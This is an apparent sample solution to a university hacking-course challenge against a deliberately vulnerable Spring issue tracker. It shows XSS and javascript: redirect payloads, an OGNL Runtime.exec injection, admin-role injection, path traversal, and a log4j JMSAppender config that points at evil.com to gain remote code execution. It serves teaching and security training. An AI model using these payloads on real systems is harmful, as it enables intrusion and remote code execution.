In the winter semester of 2022/2023, our "Hacker Contest" will be held again at Darmstadt University (TU). In the popular course, students get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems within our PentestLab.
As every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.
If you are curious to know what a Hacker Contest Challenge looks like, you can find the Challenge here.
If you would like to know which flags you might have missed this time: This is our sample solution for the summer semester Hacker Contest Challenge.
Table of contents
- Scenario
- The Challenge
- Disclaimer
- Vulnerabilities
- Reflected XSS in /api/users/delete
- Reflected XSS in error page
- Open redirect and JavaScript injection in /install
- Missing authentication and authorization in shutdown endpoint
- Denial of service in project page
- Admin account takeover
- Admin account creation
- Arbitrary file read and append in /secure/admin/logs
- Arbitrary file read and write in /api/attachment
- OGNL injection in /secure/admin/users
- Weak CSRF protections
- Log poisoning
- RCE via file write
Scenario
An ambitious team of developers has decided to develop an Open Source Issue tracking platform based on the Java framework Spring. Several users have pointed out that the first release of their application contains some security vulnerabilities. In order to find and close any security holes as quickly as possible, several renowned security researchers were invited to participate in a private bug bounty program.
The Challenge
As the invited security researchers, it is your task to find and report different types of security vulnerabilities in the given web application. The developers expect vulnerability descriptions which are easy to understand and, most importantly, easy to reproduce. More about the rules of the program can be found on the project page on GitLab. The program is looking for vulnerabilities that directly affect the protection goals of information security and whose exploitation could cause direct damage to users or operators.
Disclaimer
Considering that our ambitious dev team developed a complex but vulnerable application, the presented vulnerabilities in this document are to be understood as a mere example of what a secruity researcher could find during a pentest.
As always in creative tasks such as hacking, it is possible to find security flaws beyond what is mentioned in this writeup and also to use different methods and techniques to discover and/or exploit the vulnerabilities demonstrated below.
Vulnerabilities
Reflected XSS in /api/users/delete
When a user provides a non-existing user ID to the deletion API endpoint via the id parameter, the value is reflected to the users without sanitization. Because of this, an attacker could prepare a link containing JavaScript in the id parameter. When a user follows the URI similar to /api/users/delete?id=<script>alert("usd AG")</script> XSS occurs.
Reflected XSS in error page
The web application uses a custom error generation. When the server encounters an internal error, it generates a new error message containing the current URL and a list of all provided parameters.
@CrossOrigin
@Slf4j
@Controller
@RequiredArgsConstructor
public class CustomErrorController implements ErrorController {@RequestMapping(value = "error", method = RequestMethod.GET)
public String handleError(HttpServletRequest request, Model model) throws UnsupportedEncodingException {
Object status = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE);
...
if (status != null) {
Integer statusCode = Integer.valueOf(status.toString());
if(statusCode == HttpStatus.INTERNAL_SERVER_ERROR.value() &&(String) request.getAttribute(RequestDispatcher.FORWARD_QUERY_STRING) != null) {
model.addAttribute("params", URLDecoder.decode((String) request.getAttribute(RequestDispatcher.FORWARD_QUERY_STRING), "UTF-8"));
}
}
return "error";
}
}
The ErrorController specifically decodes the HTTP query string. An attack can use this to construct an URL that will cause an internal server error and then append a query string to the URL containing a reflected XSS payload.
To create an URL resulting in a 500 error, we need to identify a user-controlled value, which could cause an uncatched exception when processed.
One such example is projectID path variable processed by the projectView method.
@GetMapping("/projects/{projectID}")
public String projectView(@PathVariable("projectID") Long projectID, Model model){
model.addAttribute("project", projectService.getProjectDTOByID(projectID));
...
return "project/project";
}
When a Project data transfer object is assembled, the projectService first retrieves the base project based on the requested projectID and then adds all issues associated to the project via the ProjectDTO.setIssues(List<IssueDTO>) method.
@Override
public ProjectDTO getProjectDTOByID(Long id) {
ProjectDTO theProject = ProjectMapper.INSTANCE.convertToProjectDTO(getProjectByID(id));
theProject.setIssues(issueService.getAllDTOByProjectId(id));
return theProject;
}
When requesting a projectID mapping to no project, getProjectDTOByID returns null, causing a null pointer exception when setIssues is called. This exception is never handled, causing an internal server error.
This can be abused to inject JavaScript into the page when visiting a similar URI to /projects/-1?xss=<script>alert("usd AG")</script>
Open redirect and JavaScript injection in /install
When the web application is started for the first time, users are redirected to the /install page to set the application up.
When a user visits the /install endpoint after the application was already set up, the user is redirected to a different page controlled by the page query parameter.
<script th:inline="javascript">
/*<![CDATA[*/ var secondstoredirect = 3,
redirectAfterSeconds = (secondstoredirect * 1000),
urlToRedirect = /*[[${redirectTo}]]*/;
var tt = setInterval(function () {
window.location.href = urlToRedirect;
}, redirectAfterSeconds);/*]]>*/
</script>
It is possible to redirect a user to an arbitrary page by providing a URL instead of a local URI.
/install?page=https://redirect.here
Attacker could also inject JavaScript using the JavaScript resource identifier scheme javascript:<JavaScriptCode> to execute code in the victims browser.
Missing authentication and authorization in shutdown endpoint
Any authenticated or unauthenticated user can shutdown the application by sending a GET HTTP request to the /actuator/shutdown endpoint.
Denial of service in project page
When a project page is generated, all project attachments are assembled and listed on the page. To assemble the attachments, the method getAttachmentsByProjectId is called.
@Override
public List<Attachment> getAttachmentsByProjectId(Long id) {
List<Attachment> atts = attachmentRepository.findAllByProjectId(id);
for (Attachment att : atts) {
Objects.requireNonNull(att.getContentType());
}
return atts;}
Because attachments are created using the default FileItem interface, FileItem.getContentType() will be null when the Content-Type parameter was not present in the upload request.
This causes Objects.requireNonNull(att.getContentType()) to throw an exception, causing an internal server error and an 500 HTTP response.
Attackers could abuse this to prevent any project from loading where they have permission to attach a file.
POST [http://localhost:8080/api/attachment/]() HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------181789617422915531653024615687
Content-Length: 7259
Origin: https://localhost:8080
Connection: keep-alive
Referer: https://localhost:8080/projects/3
Cookie: JSESSIONID=713DFD6481BED2D2CD12051BFE188B33
Upgrade-Insecure-Requests: 1
-----------------------------181789617422915531653024615687
Content-Disposition: form-data; name="_xsrf"
<XSRFToken>
-----------------------------181789617422915531653024615687
Content-Disposition: form-data; name="projectId"
<projectID>
-----------------------------181789617422915531653024615687
Content-Disposition: form-data; name="file"; filename="<filename>"
//The Content-Type declaration is missing
-----------------------------181789617422915531653024615687--
Admin account takeover
When a user updates its user details, the updateUser method is called. Users can only update a Profile when the password is known. When an admin sends the request, the password check is skipped, and any user can be updated.
However, the logic to check whether the request is coming from an administrator is flawed:
@Override
public void updateUser(ProfileDTO profileDTO){
User currentUser = findById(profileDTO.getId());
if (profileDTO.getNewPassword() != null || profileDTO.getNewPassword() != ""){
if (currentUser.getPassword() == profileDTO.getOldPassword() || currentUser.getUserRole() == UserRole.ADMIN ){
//update user
}
}
}
When the application receives the update request, it will set currentUser mistakenly set to the target user of the profile update. Consequently, each profile update request from any user is accepted if the target (currentUser) has the administrator role. Leveraging this, any authenticated attacker can change the administrator's password and gain administrative access.
Admin account creation
When a user registers a new account, the POST HTTP request to /register is parsed to the data transfer object RegistrationRequest. In the user creation process, this object is converted to the internal representation of a user and stored in the database without prior validation. Because of this, any user can sign up as an admin by appending &userRole=ADMIN to the registration request body.
@Getter
@Setter
@ToString
@NoArgsConstructor
public class RegistrationRequest { @NotEmpty(message = "{registration_name_not_empty}")
private String name; @Email(message = "{registration_email_is_not_valid}")
@NotEmpty(message = "{registration_email_not_empty}")
private String email; @NotEmpty(message = "{registration_username_not_empty}")
private String username; @NotEmpty(message = "{registration_password_not_empty}")
private String password; private UserRole userRole;}
Arbitrary file read and append in /secure/admin/logs
Administrators can change log files name. Because of missing validation, an administrator could provide a relative file path as filename, resulting in file contents being displayed on the page. Additionally, the administrator can append arbitrary text to the file using the "Write Log message" function. This means that administrators can read arbitrary files and append arbitrary data to them.
Arbitrary file read and write in /api/attachment
When a user attaches a file to a project, the filename parameter is not properly sanitized, allowing attackers to write a file to any location using relative file paths. Files are only overwritten by the AttachmentService if the overwrite is present in the upload request. Attackers can use this to read and write any file on the host.
OGNL injection in /secure/admin/users
Because of the double evaluation of a user's username in the thymeleaf template of the /secure/admin/users page, Object Graph Navigation Langue (OGNL) injections are possible.
<ul th:each="user: ${users}">
<a th:href="@{/profile/__${user.username}__}"><li th:text="${user.username + ' - ' + user.userRole}"> </li></a></ul>
In the template, thymeleaf constructs a link to a user's profile page using @{/profile/${user.username}}. Because of this double evaluation, an attack could sign up a user containing an OGNL expression like (${T(java.lang.Runtime).getRuntime().exec('<cmd>')})in its username. When an administrator visits the /secure/admin/users page, the expression username is retrieved and re-evaluated as OGNL expression, allowing the attacker to execute arbitrary commands on the host.
Weak CSRF protections
Whenever the application starts, a random value is created and saved in the application's environment. This value is used as a seed for any other randomly generated value.
public class Rng { private Random random;
private ConfigurableEnvironment env; @Autowired
public Rng(@Value("${random.seed}") String seed, ConfigurableEnvironment env) {
this.random = new Random((Long.parseLong(env.getProperty("random.seed"))));
}
public String next() {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update((byte) random.nextInt());
byte[] digest = md.digest();
return DatatypeConverter
.printHexBinary(digest).toUpperCase(); } catch (Exception E) {
log.warn(E.getMessage());
}
return null;
}
}
The Java class Random is a pseudo-random generator, meaning that the results of next() are deterministic and dependent on the seed. The CSRF token generator uses the Rng class to obtain random values.
@Override
public CustomCsrfToken generateToken(HttpServletRequest request) {
Cookie cookie = WebUtils.getCookie(request, this.cookieName);
if (cookie == null) {
return new CustomCsrfToken(rng.next());
}
}
Because of a misconfiguration, the application environment is readable by any user via the /actuator/env endpoint. This includes the value of the seed.
Using this seed, an attacker can replicate the CSRF token generation process and guess the correct CSRF token of any user with low effort.
Log poisoning
Any Issue created will be logged by the application. Details of the issue, including its description, will be displayed in the /secure/admin/logs endpoint. Due to improper sanitization, any HTML code in the description of the issue will be rendered as HTML on the page. This enables an attacker to create an issue containing an XSS payload, which will be triggered when an administrator browses the logs.
RCE via file write
The application uses log4j 1 as logging engine, which is vulnerable to RCE if the attacker controls the log4j configuration file (CVE-2021-4104). To obtain RCE, the attacker can overwrite the file log4j.properties using one of the previously discussed vulnerabilities with the following configuration:
log4j.appender.jms=org.apache.log4j.net.JMSAppender
log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory
log4j.appender.jms.ProviderURL=tcp://evil.com:61616
log4j.appender.jms.TopicBindingName=ldap://evil.com:61616/a
log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://evil.com:61616/a
After the configuration is overwritten, the attacker can shut down the application as described. The next time the application starts, the attacker can obtain RCE by hosting a malicious LDAP server at evil.com:61616.